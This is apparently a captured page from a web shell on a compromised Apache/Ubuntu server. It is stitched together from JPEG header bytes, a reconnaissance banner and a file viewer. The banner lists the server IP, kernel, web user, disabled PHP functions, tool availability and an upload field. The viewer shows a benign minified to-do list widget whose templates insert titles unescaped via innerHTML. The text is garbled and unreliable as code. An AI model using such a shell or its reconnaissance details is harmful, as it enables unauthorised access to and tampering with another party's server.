����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 18.221.100.57 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/app/js/widgets/todo/ |
Upload File : |
"use strict";function _classCallCheck(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}var _createClass=function(){function e(e,t){for(var i=0;i<t.length;i++){var l=t[i];l.enumerable=l.enumerable||!1,l.configurable=!0,"value"in l&&(l.writable=!0),Object.defineProperty(e,l.key,l)}}return function(t,i,l){return i&&e(t.prototype,i),l&&e(t,l),t}}();!function(){var e=function(){function e(t){_classCallCheck(this,e),this.database=t||[{title:"Fix bugs",id:1651644545,completed:""},{title:"Implement 30% of my feature",id:1651646545,completed:""},{title:"Fencing",id:5451646545,completed:"checked"},{title:"Read an article about Test-Driven Development",id:5428646545,completed:""}]}return _createClass(e,[{key:"createItem",value:function(e){var t={title:e,id:(new Date).getTime(),completed:""};return this.database.push(t),t}},{key:"checkItem",value:function(e){for(var t=0;t<this.database.length;t++)if(e==this.database[t].id)return void(this.database[t].completed=this.database[t].completed?"":"checked")}},{key:"deleteItem",value:function(e){for(var t=0;t<this.database.length;t++)if(e==this.database[t].id)return void this.database.splice(t,1)}},{key:"deleteCompletedItems",value:function(){for(var e=0;e<this.database.length;e++)"checked"===this.database[e].completed&&(this.database.splice(e,1),e--)}}]),e}(),t=function(){function e(){_classCallCheck(this,e),this.$todoList=document.querySelector(".todo .mdl-list"),this.inputTemplate='<div class="mdl-textfield mdl-js-textfield">\n <input class="mdl-textfield__input" type="text" id="todo-input">\n <label class="mdl-textfield__label" for="todo-input">What to do?..</label>\n </div>'}return _createClass(e,[{key:"insertInput",value:function(){var t=document.createElement("li");t.classList.add("mdl-list__item"),t.innerHTML=this._prepareTemplate({id:"input"}),this.$todoList.appendChild(t),e.upgradeNewMdlComponents();var i=document.querySelector(".todo .mdl-list li:last-child .mdl-checkbox__label");i.innerHTML=this.inputTemplate,e.upgradeNewMdlComponents(),document.querySelector(".todo .mdl-list__item:last-child .mdl-textfield__input").focus()}},{key:"_prepareTemplate",value:function(e){return'<span class = "mdl-list__item-primary-content">\n <label for="'+e.id+'" class="mdl-checkbox mdl-js-checkbox mdl-js-ripple-effect" checkboxItem>\n <input type="checkbox" id="'+e.id+'" '+e.completed+' class="mdl-checkbox__input" />\n <span class="mdl-checkbox__label">'+e.title+'</span>\n </label>\n </span>\n <div class="mdl-list__item-secondary-content">\n <button for = "'+e.id+'" class="mdl-button mdl-js-button mdl-button--icon button--colored mdl-button--mini-icon pull-right" deleteItem>\n <i class="material-icons">clear</i>\n </button>\n </div>'}},{key:"showAll",value:function(t){var i=this;this.$todoList.innerHTML="",t.forEach(function(e){var t=document.createElement("li");t.classList.add("mdl-list__item"),t.innerHTML=i._prepareTemplate(e),i.$todoList.appendChild(t)}),e.upgradeNewMdlComponents()}},{key:"show",value:function(t){var i=document.createElement("li");i.classList.add("mdl-list__item"),i.innerHTML=this._prepareTemplate(t),this.$todoList.appendChild(i),e.upgradeNewMdlComponents()}}],[{key:"upgradeNewMdlComponents",value:function(){componentHandler.upgradeDom()}}]),e}(),i=function(){function e(t,i){var l=this;_classCallCheck(this,e),this.$addItemButton=document.querySelector(".todo .mdl-button--fab"),this.$removeCompletedButton=document.querySelector(".todo .mdl-card__actions .mdl-button"),this.model=t,this.view=i,this.view.$todoList.addEventListener("mouseup",function(e){var t=e.path?e.path[1]:e.target;if(t.hasAttribute("deleteItem")){var i=t.getAttribute("for");l.model.deleteItem(i),l.removeItem(i)}else t=e.target,t.hasAttribute("checkboxitem")?l.check(t):(t=t.parentNode,l.check(t))}),this.$addItemButton.addEventListener("click",function(){l.$addItemButton.setAttribute("disabled","true"),l.$removeCompletedButton.setAttribute("disabled","true"),l.view.insertInput();var e=document.querySelector(".todo .mdl-list__item:last-child .mdl-textfield__input");e.addEventListener("keydown",function(t){27===t.keyCode?l.removeItem("input"):13===t.keyCode&&(l.addItem(e.value),l.removeItem("input"))})}),this.$removeCompletedButton.addEventListener("click",function(){l.removeCompletedItems()}),this.model.database!=[]&&this.view.showAll(this.model.database)}return _createClass(e,[{key:"addItem",value:function(e){""!==e.trim()&&this.view.show(this.model.createItem(e))}},{key:"removeItem",value:function(e){document.querySelector('[for="'+e+'"]').parentNode.parentNode.remove(),this.$addItemButton.removeAttribute("disabled"),this.$removeCompletedButton.removeAttribute("disabled")}},{key:"removeCompletedItems",value:function(){this.model.deleteCompletedItems(),this.view.showAll(this.model.database)}},{key:"check",value:function(e){var t=e.getAttribute("for");isNaN(t)||this.model.checkItem(t)}}]),e}(),l=function o(){_classCallCheck(this,o),this.model=new e,this.view=new t,this.controller=new i(this.model,this.view)},n=document.querySelector(".todo");if(n){new l}}();